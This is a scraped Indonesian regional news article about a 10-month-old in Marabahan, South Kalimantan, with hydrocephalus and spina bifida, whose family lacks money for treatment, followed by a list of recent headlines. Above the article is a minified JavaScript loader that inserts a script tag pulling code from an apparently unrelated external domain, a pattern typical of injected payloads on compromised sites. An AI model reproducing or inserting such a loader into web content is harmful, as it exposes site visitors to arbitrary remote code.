(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bayi 10 Bulan di Marabahan Penderita Hidrosefalus, Juga Divonis Cacat Sejak Lahir


MARABAHAN, Nadhifa Kayla Almayra, balita berusia 10 bulan menderita hidrosefalus, beralamat di Jalan Putri Junjung Buih RT 5 RW 3, Kecamatan Marabahan, Kabupaten Barito Kuala.

Menurut orang tua Nadhifa, Arlin Marlina selain menderita hidrosefalus, anak keempatnya tersebut juga menderita Spina bifida yang merupakan cacat lahir, ketika sumsum tulang belakang bayi gagal berkembang dengan baik hingga menderita kelainan kaki kanan dan kirinya membengkok sehingga tidak dapat diluruskan.

“Kelainan tersebut sebelumnya sudah kami ketahui saat di dalam kandungan ketika berumur 6 bulan, namun untuk kelainan pada kaki baru kami ketahui ketika saya melahirkan,” ujarnya.

Mengetahui anak di dalam kandungannya ada kelainan, Arlin Marlina disarankan pihak Rumah Sakit Umum Daerah (RSUD) Adul Aziz, untuk melahirkan secara oprasi pada 28 November 2018 yang lalu.

Hingga sekarang diakui Arlin Marlina, anaknya tersebut baru satu kali berobat di RS Ulin Banjarmasin, kendati sudah dibantu oleh Pemerintah Kabupaten Barito Kuala, namun dirinya masih kekurangan anggaran untuk kebutuhan berobat lainnya.

“Alhamdulillah kita dibantu oleh pemerintah daerah, sampai bupati pun mengeluarkan dana pribadinya waktu itu membantu kami, namun kini kami masih kekurangan dana, terlebih rencananya kami mau membawa anak kami ini utuk operasi yang masih tidak di ketahui berapa total dananya,” akunya.

Menanggapi hal tersebut, Kepala Dinas Kesehatan Kabupaten Barito Kuala Azizah Sri Widari mengatakan, pasien itu sudah ditangani sejak lama, dan sudah dilayani dengan layanan kesehatan lainnya, seperti halnya Jaminan Kesehatan Daerah (Jamkesda) dan kedepan akan menguruskan kartu BPJS dalam waktu dekat.

“Sebenarnya orang tua beliau sudah terdaftar di BPJS, namun karena sudah resign dari pekerjaan sehingga mandek sampai sekarang, kita akan terus membackup untuk kesembuhan balita tersebut sesuai dengan kebutuhan dan kemampuan daerah,” singkatnya. (rendy)

Reporter : Rendy
Editor : Bie


Desy Arfianty

Recent Posts

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

4 jam ago

Pegawai Pegadaian di Banjarmasin Jadi Terdakwa Korupsi, Ini Modusnya

KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More

6 jam ago

BLK Balangan Gelar Pelatihan Berbasis Kompetensi

KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More

10 jam ago

Kanit Reskrim di Paser Tak Bernyawa Dipukul Warga, Ini Kronologinya

KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More

11 jam ago

KPK Limpahkan Korupsi Proyek PUPR Kalsel ke PN Banjarmasin

Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More

12 jam ago

Wangi Wadai Apam Barabai Merambah Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More

12 jam ago

This website uses cookies.